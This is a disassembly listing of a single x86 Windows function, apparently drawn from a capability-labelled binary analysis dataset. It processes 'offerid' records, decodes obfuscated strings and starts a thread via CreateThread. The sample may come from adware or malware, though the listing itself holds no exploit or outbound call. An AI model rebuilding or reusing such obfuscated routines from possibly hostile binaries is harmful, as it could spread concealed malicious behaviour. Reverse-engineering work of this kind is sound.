Function at 0x4700ae
Capabilities:
Create thread

Disassembly:
push 0x3c8
mov eax, 0x492d8d
call fcn.0047ae59
mov eax, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0x3b8], eax
mov dword [ebp - 0x3ac], ebx
push 0x49bf80
lea eax, [ebp - 0x9c]
mov dword [ebp - 4], 1
call fcn.00401556
lea eax, [ebp - 0x3a0]
call fcn.004109ce
mov byte [ebp - 4], 3
mov eax, dword [ebp + 0x10]
sub eax, dword [ebp + 0xc]
mov ecx, 0x2fc
cdq
idiv ecx
mov dword [ebp - 0x3b4], ebx
test eax, eax
je 0x4706f3
mov dword [ebp - 0x3b0], ebx
mov ecx, dword [ebp + 0xc]
mov esi, dword [ebp - 0x3b0]
push 0x49c154
lea esi, [esi + ecx + 0x100]
call fcn.00401c1b
pop ecx
test al, al
je 0x4706cd
mov eax, dword [ebp + 0xc]
mov edi, dword [ebp - 0x3b0]
lea edi, [edi + eax]
lea esi, [ebp - 0x3a0]
call fcn.004048ce
push str.offerid
lea eax, [ebp - 0x80]
call fcn.00401556
lea eax, [ebp - 0x39c]
push eax
lea edx, [ebp - 0x80]
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 4
call fcn.0041abc7
pop ecx
push 1
xor edi, edi
lea esi, [ebp - 0x80]
mov byte [ebp - 4], 6
call fcn.0040162a
inc edi
lea eax, [ebp - 0x3a0]
push edi
push eax
call fcn.00419564
pop ecx
pop ecx
test al, al
je 0x470353
cmp dword [ebp - 0x170], 3
push 0x31c
jne 0x470236
call fcn.00476de5
pop ecx
cmp eax, ebx
je 0x4701c7
mov esi, eax
call fcn.00410fe3
mov dword [ebp - 0x3a8], eax
jmp 0x4701cd
mov dword [ebp - 0x3a8], ebx
push 0x49bf80
lea eax, [ebp - 0x2c]
call fcn.00401556
push ebx
push edi
push ebx
push 0xffffffffffffffff
push 0xffffffffffffffff
lea eax, [ebp - 0x2c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x64]
push eax
push 5
lea eax, [ebp - 0x2bc]
push eax
lea eax, [ebp - 0x48]
push eax
mov byte [ebp - 4], 7
call fcn.0041592c
add esp, 0x2c
mov ebx, eax
mov eax, dword [ebp - 0x3a8]
mov byte [ebp - 4], 8
call fcn.004062ac
push 1
xor edi, edi
lea esi, [ebp - 0x48]
call fcn.0040162a
push 1
lea esi, [ebp - 0x2c]
call fcn.0040162a
lea eax, [ebp - 0x3c8]
jmp 0x47066c
cmp dword [ebp - 0x170], 4
jne 0x4702cb
call fcn.00476de5
pop ecx
cmp eax, ebx
je 0x47025c
mov esi, eax
call fcn.00410fe3
mov dword [ebp - 0x3a8], eax
jmp 0x470262
mov dword [ebp - 0x3a8], ebx
push 0x49bf80
lea eax, [ebp - 0x2c]
call fcn.00401556
push ebx
push edi
push ebx
push 0xffffffffffffffff
push 0xffffffffffffffff
lea eax, [ebp - 0x2c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x64]
push eax
push 6
lea eax, [ebp - 0x2bc]
push eax
lea eax, [ebp - 0x48]
push eax
mov byte [ebp - 4], 9
call fcn.0041592c
add esp, 0x2c
mov ebx, eax
mov eax, dword [ebp - 0x3a8]
mov byte [ebp - 4], 0xa
call fcn.004062ac
push 1
xor edi, edi
lea esi, [ebp - 0x48]
call fcn.0040162a
push 1
lea esi, [ebp - 0x2c]
call fcn.0040162a
lea eax, [ebp - 0x3c4]
jmp 0x47066c
call fcn.00476de5
pop ecx
cmp eax, ebx
je 0x4702e4
mov esi, eax
call fcn.00410fe3
mov dword [ebp - 0x3a8], eax
jmp 0x4702ea
mov dword [ebp - 0x3a8], ebx
push 0x49bf80
lea eax, [ebp - 0x2c]
call fcn.00401556
push ebx
push edi
push ebx
push 0xffffffffffffffff
push 0xffffffffffffffff
lea eax, [ebp - 0x2c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x64]
push eax
push 2
lea eax, [ebp - 0x2bc]
push eax
lea eax, [ebp - 0x48]
push eax
mov byte [ebp - 4], 0xb
call fcn.0041592c
add esp, 0x2c
mov ebx, eax
mov eax, dword [ebp - 0x3a8]
mov byte [ebp - 4], 0xc
call fcn.004062ac
push 1
xor edi, edi
lea esi, [ebp - 0x48]
call fcn.0040162a
push 1
lea esi, [ebp - 0x2c]
call fcn.0040162a
lea eax, [ebp - 0x3c0]
jmp 0x47066c
lea eax, [ebp - 0x3a0]
push eax
call fcn.00419e33
pop ecx
test al, al
je 0x4703f5
push 0x31c
call fcn.00476de5
pop ecx
cmp eax, ebx
je 0x470386
mov esi, eax
call fcn.00410fe3
mov dword [ebp - 0x3a8], eax
jmp 0x47038c
mov dword [ebp - 0x3a8], ebx
push 0x49bf80
lea eax, [ebp - 0x2c]
call fcn.00401556
push ebx
push edi
push ebx
push 0xffffffffffffffff
push 0xffffffffffffffff
lea eax, [ebp - 0x2c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x64]
push eax
push 4
lea eax, [ebp - 0x2bc]
push eax
lea eax, [ebp - 0x48]
push eax
mov byte [ebp - 4], 0xd
call fcn.0041592c
add esp, 0x2c
mov ebx, eax
mov eax, dword [ebp - 0x3a8]
mov byte [ebp - 4], 0xe
call fcn.004062ac
push 1
xor edi, edi
lea esi, [ebp - 0x48]
call fcn.0040162a
push 1
lea esi, [ebp - 0x2c]
call fcn.0040162a
lea eax, [ebp - 0x3d0]
jmp 0x47066c
lea ecx, [ebp - 0x230]
call fcn.0041b36e
test al, al
je 0x470454
push str.TkRQTFJKREpAXU9PRE5WRD1UTw
lea eax, [ebp - 0x2c]
call fcn.00401556
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0xf
or dword [ebp - 0x3ac], edi
push eax
call fcn.00404533
mov ecx, eax
lea eax, [ebp - 0x48]
call fcn.00404573
mov dword [ebp - 4], 0x10
or dword [ebp - 0x3ac], 2
push 0x49c198
mov esi, eax
call fcn.00401c1b
pop ecx
mov byte [ebp - 0x3a1], 1
test al, al
je 0x47045a
mov byte [ebp - 0x3a1], bl
test byte [ebp - 0x3ac], 2
je 0x470475
and dword [ebp - 0x3ac], 0xfffffffd
push edi
xor edi, edi
lea esi, [ebp - 0x48]
call fcn.0040162a
mov dword [ebp - 4], 6
test byte [ebp - 0x3ac], 1
je 0x470498
and dword [ebp - 0x3ac], 0xfffffffe
push 1
xor edi, edi
lea esi, [ebp - 0x2c]
call fcn.0040162a
cmp byte [ebp - 0x3a1], bl
je 0x470532
push 0x31c
call fcn.00476de5
pop ecx
cmp eax, ebx
je 0x4704c2
mov esi, eax
call fcn.00410fe3
mov dword [ebp - 0x3a8], eax
jmp 0x4704c8
mov dword [ebp - 0x3a8], ebx
push 0x49bf80
lea eax, [ebp - 0x2c]
call fcn.00401556
push ebx
push 1
push ebx
push 0xffffffffffffffff
push 0xffffffffffffffff
lea eax, [ebp - 0x2c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x64]
push eax
push 7
lea eax, [ebp - 0x2bc]
push eax
lea eax, [ebp - 0x48]
push eax
mov byte [ebp - 4], 0x11
call fcn.0041592c
add esp, 0x2c
mov ebx, eax
mov eax, dword [ebp - 0x3a8]
mov byte [ebp - 4], 0x12
call fcn.004062ac
push 1
xor edi, edi
lea esi, [ebp - 0x48]
call fcn.0040162a
push 1
lea esi, [ebp - 0x2c]
call fcn.0040162a
lea eax, [ebp - 0x3cc]
jmp 0x47066c
lea ecx, [ebp - 0x2bc]
call fcn.0041c836
test al, al
je 0x470592
push str.QkBFQ0VAWkxLTT5RQlBKX0A8VUw
lea eax, [ebp - 0x2c]
call fcn.00401556
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0x13
or dword [ebp - 0x3ac], 4
push eax
call fcn.00404533
mov ecx, eax
lea eax, [ebp - 0x48]
call fcn.00404573
mov dword [ebp - 4], 0x14
or dword [ebp - 0x3ac], 8
push 0x49c198
mov esi, eax
call fcn.00401c1b
pop ecx
mov byte [ebp - 0x3a1], 1
test al, al
je 0x470598
mov byte [ebp - 0x3a1], bl
test byte [ebp - 0x3ac], 8
je 0x4705b4
and dword [ebp - 0x3ac], 0xfffffff7
push 1
xor edi, edi
lea esi, [ebp - 0x48]
call fcn.0040162a
mov dword [ebp - 4], 6
test byte [ebp - 0x3ac], 4
je 0x4705d7
and dword [ebp - 0x3ac], 0xfffffffb
push 1
xor edi, edi
lea esi, [ebp - 0x2c]
call fcn.0040162a
cmp byte [ebp - 0x3a1], bl
je 0x470687
push 0x31c
call fcn.00476de5
pop ecx
cmp eax, ebx
je 0x470601
mov esi, eax
call fcn.00410fe3
mov dword [ebp - 0x3a8], eax
jmp 0x470607
mov dword [ebp - 0x3a8], ebx
push 0x49bf80
lea eax, [ebp - 0x2c]
call fcn.00401556
push ebx
push 1
push ebx
push 0xffffffffffffffff
push 0xffffffffffffffff
lea eax, [ebp - 0x2c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x64]
push eax
push 8
lea eax, [ebp - 0x2bc]
push eax
lea eax, [ebp - 0x48]
push eax
mov byte [ebp - 4], 0x15
call fcn.0041592c
add esp, 0x2c
mov ebx, eax
mov eax, dword [ebp - 0x3a8]
mov byte [ebp - 4], 0x16
call fcn.004062ac
push 1
xor edi, edi
lea esi, [ebp - 0x48]
call fcn.0040162a
push 1
lea esi, [ebp - 0x2c]
call fcn.0040162a
lea eax, [ebp - 0x3bc]
push eax
xor eax, eax
push eax
push dword [ebp - 0x3a8]
push 0x46a463
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor ebx, ebx
jmp 0x4706bd
lea eax, [ebp - 0x48]
push 0x49dcd8
push eax
lea edi, [ebp - 0x2bc]
call fcn.0041024b
pop ecx
pop ecx
push ebx
push eax
or eax, 0xffffffff
lea esi, [ebp - 0x9c]
mov byte [ebp - 4], 0x17
call fcn.00406680
push 1
xor edi, edi
lea esi, [ebp - 0x48]
call fcn.0040162a
push 1
xor edi, edi
lea esi, [ebp - 0x64]
mov byte [ebp - 4], 3
call fcn.0040162a
mov eax, dword [ebp + 0x10]
sub eax, dword [ebp + 0xc]
mov ecx, 0x2fc
cdq
idiv ecx
inc dword [ebp - 0x3b4]
add dword [ebp - 0x3b0], ecx
cmp dword [ebp - 0x3b4], eax
jb 0x470116
push 0x49bf80
lea eax, [ebp - 0x80]
call fcn.00401556
push 0x4a4df8
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0x18
call fcn.00401556
lea eax, [ebp - 0x80]
push eax
sub esp, 0x1c
mov byte [ebp - 4], 0x19
lea eax, [ebp - 0x9c]
mov esi, esp
mov dword [ebp - 0x3bc], esp
push eax
lea edi, [ebp - 0x2c]
call fcn.00405b15
push dword [ebp - 0x3b8]
mov ecx, edi
call fcn.00415310
add esp, 0x24
or dword [ebp - 0x3ac], 0x10
push 1
xor edi, edi
lea esi, [ebp - 0x2c]
call fcn.0040162a
push 1
lea esi, [ebp - 0x80]
call fcn.0040162a
lea eax, [ebp - 0x3a0]
push eax
mov byte [ebp - 4], 2
call fcn.00404757
push 1
lea esi, [ebp - 0x9c]
call fcn.0040162a
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], bl
call fcn.00406439
mov eax, dword [ebp - 0x3b8]
call fcn.0047aedc
ret 0x14